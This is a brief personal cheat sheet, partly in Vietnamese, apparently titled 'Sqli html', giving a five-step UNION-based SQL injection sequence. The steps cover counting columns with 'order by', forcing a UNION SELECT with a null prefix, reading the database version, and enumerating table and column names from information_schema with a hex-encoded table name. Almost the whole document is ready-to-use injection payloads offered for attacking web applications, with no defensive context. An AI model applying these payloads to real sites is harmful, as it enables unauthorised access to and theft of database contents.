Sqli html

b1: order by x-- -.html
b2: thay x trước union là -null -> union select x,x,x-- -.html
b3: union select x,x,version(),x-- -.html
b4: union select x,x,group_concat(table_name) from information_schema.tables where table_schema=database()-- -.html
b5: get table chứa info
 union select x,x,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x(convert to hex)-- -.html